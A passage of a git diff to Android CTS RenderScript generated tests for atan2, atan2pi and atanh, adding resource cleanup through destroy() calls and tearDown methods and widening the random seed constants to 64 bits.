     private void verifyResultsAtanHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2.java
index 77f47e7..f676ada 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestAtan2Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inNumerator;
         public float inDenominator;
@@ -44,13 +51,14 @@
     }
 
     private void checkAtan2FloatFloatFloat() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe261d332l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7bd90d5bl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x717c0d8e261d332l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x37738e957bd90d5bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2FloatFloatFloat(inNumerator, out);
             verifyResultsAtan2FloatFloatFloat(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2FloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2FloatFloatFloat(inNumerator, out);
             verifyResultsAtan2FloatFloatFloat(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2FloatFloatFloat: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2FloatFloatFloat(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkAtan2Float2Float2Float2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xefb30700l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xab583839l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8658ecfeefb30700l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x552b6d6bab583839l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2Float2Float2Float2(inNumerator, out);
             verifyResultsAtan2Float2Float2Float2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Float2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2Float2Float2Float2(inNumerator, out);
             verifyResultsAtan2Float2Float2Float2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Float2Float2Float2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2Float2Float2Float2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkAtan2Float3Float3Float3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x927ef301l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x7e33cb72l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x61e79638927ef301l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1e8faeb47e33cb72l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2Float3Float3Float3(inNumerator, out);
             verifyResultsAtan2Float3Float3Float3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Float3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2Float3Float3Float3(inNumerator, out);
             verifyResultsAtan2Float3Float3Float3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Float3Float3Float3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2Float3Float3Float3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkAtan2Float4Float4Float4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x354adf02l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x510f5eabl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3d763f72354adf02l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe7f3effd510f5eabl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2Float4Float4Float4(inNumerator, out);
             verifyResultsAtan2Float4Float4Float4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Float4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2Float4Float4Float4(inNumerator, out);
             verifyResultsAtan2Float4Float4Float4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Float4Float4Float4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2Float4Float4Float4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkAtan2HalfHalfHalf() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa6793e31l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc8fcd922l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa1d138c0a6793e31l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xbd06978cc8fcd922l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2HalfHalfHalf(inNumerator, out);
             verifyResultsAtan2HalfHalfHalf(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2HalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2HalfHalfHalf(inNumerator, out);
             verifyResultsAtan2HalfHalfHalf(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2HalfHalfHalf: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2HalfHalfHalf(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkAtan2Half2Half2Half2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xec117907l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x717dccc8l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xced40e10ec117907l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xd67d4853717dccc8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2Half2Half2Half2(inNumerator, out);
             verifyResultsAtan2Half2Half2Half2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Half2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2Half2Half2Half2(inNumerator, out);
             verifyResultsAtan2Half2Half2Half2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Half2Half2Half2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2Half2Half2Half2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkAtan2Half3Half3Half3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3783a976l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5d3d9e7fl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x8972df203783a976l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xbb913fcb5d3d9e7fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2Half3Half3Half3(inNumerator, out);
             verifyResultsAtan2Half3Half3Half3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Half3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2Half3Half3Half3(inNumerator, out);
             verifyResultsAtan2Half3Half3Half3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Half3Half3Half3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2Half3Half3Half3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkAtan2Half4Half4Half4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x82f5d9e5l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x48fd7036l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x4411b02f82f5d9e5l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa0a5374348fd7036l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2Half4Half4Half4(inNumerator, out);
             verifyResultsAtan2Half4Half4Half4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Half4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2Half4Half4Half4(inNumerator, out);
             verifyResultsAtan2Half4Half4Half4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2Half4Half4Half4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2Half4Half4Half4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2pi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2pi.java
index 2d8539c..c871648 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2pi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtan2pi.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestAtan2piRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inNumerator;
         public float inDenominator;
@@ -44,13 +51,14 @@
     }
 
     private void checkAtan2piFloatFloatFloat() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x81dcb793l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x5a748df4l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x3276ace81dcb793l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xc4961da25a748df4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2piFloatFloatFloat(inNumerator, out);
             verifyResultsAtan2piFloatFloatFloat(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2piFloatFloatFloat(inNumerator, out);
             verifyResultsAtan2piFloatFloatFloat(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piFloatFloatFloat: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2piFloatFloatFloat(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkAtan2piFloat2Float2Float2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x53d1a0b3l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xcc5c5614l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3b26f42853d1a0b3l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x393d275fcc5c5614l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2piFloat2Float2Float2(inNumerator, out);
             verifyResultsAtan2piFloat2Float2Float2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2piFloat2Float2Float2(inNumerator, out);
             verifyResultsAtan2piFloat2Float2Float2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piFloat2Float2Float2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2piFloat2Float2Float2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkAtan2piFloat3Float3Float3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf69d8cb4l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x9f37e94dl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x16b59d61f69d8cb4l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2a168a89f37e94dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2piFloat3Float3Float3(inNumerator, out);
             verifyResultsAtan2piFloat3Float3Float3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2piFloat3Float3Float3(inNumerator, out);
             verifyResultsAtan2piFloat3Float3Float3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piFloat3Float3Float3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2piFloat3Float3Float3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkAtan2piFloat4Float4Float4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x996978b5l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x72137c86l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf244469b996978b5l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xcc05a9f172137c86l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2piFloat4Float4Float4(inNumerator, out);
             verifyResultsAtan2piFloat4Float4Float4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2piFloat4Float4Float4(inNumerator, out);
             verifyResultsAtan2piFloat4Float4Float4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piFloat4Float4Float4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2piFloat4Float4Float4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkAtan2piHalfHalfHalf() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2ee67becl, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x25ffb4c5l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd223ff622ee67becl, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc2e33c3f25ffb4c5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2piHalfHalfHalf(inNumerator, out);
             verifyResultsAtan2piHalfHalfHalf(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2piHalfHalfHalf(inNumerator, out);
             verifyResultsAtan2piHalfHalfHalf(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piHalfHalfHalf: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2piHalfHalfHalf(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkAtan2piHalf2Half2Half2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x8b8c5d68l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x50194d61l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xcae3b8068b8c5d68l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x639fd76050194d61l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2piHalf2Half2Half2(inNumerator, out);
             verifyResultsAtan2piHalf2Half2Half2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2piHalf2Half2Half2(inNumerator, out);
             verifyResultsAtan2piHalf2Half2Half2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piHalf2Half2Half2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2piHalf2Half2Half2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkAtan2piHalf3Half3Half3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd6fe8dd7l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x3bd91f18l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x85828915d6fe8dd7l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x48b3ced83bd91f18l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2piHalf3Half3Half3(inNumerator, out);
             verifyResultsAtan2piHalf3Half3Half3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2piHalf3Half3Half3(inNumerator, out);
             verifyResultsAtan2piHalf3Half3Half3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piHalf3Half3Half3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2piHalf3Half3Half3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkAtan2piHalf4Half4Half4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x2270be46l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x2798f0cfl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x40215a252270be46l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x2dc7c6502798f0cfl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testAtan2piHalf4Half4Half4(inNumerator, out);
             verifyResultsAtan2piHalf4Half4Half4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testAtan2piHalf4Half4Half4(inNumerator, out);
             verifyResultsAtan2piHalf4Half4Half4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtan2piHalf4Half4Half4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsAtan2piHalf4Half4Half4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanh.java
index 187d797..870087e 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAtanh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestAtanhRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkAtanhFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x17ef039dl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb66b4bab17ef039dl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testAtanhFloatFloat(inV, out);
             verifyResultsAtanhFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAtanhFloatFloat(inV, out);
             verifyResultsAtanhFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAtanhFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkAtanhFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xa1cb59d9l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8cd03c06a1cb59d9l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testAtanhFloat2Float2(inV, out);
             verifyResultsAtanhFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAtanhFloat2Float2(inV, out);
             verifyResultsAtanhFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAtanhFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
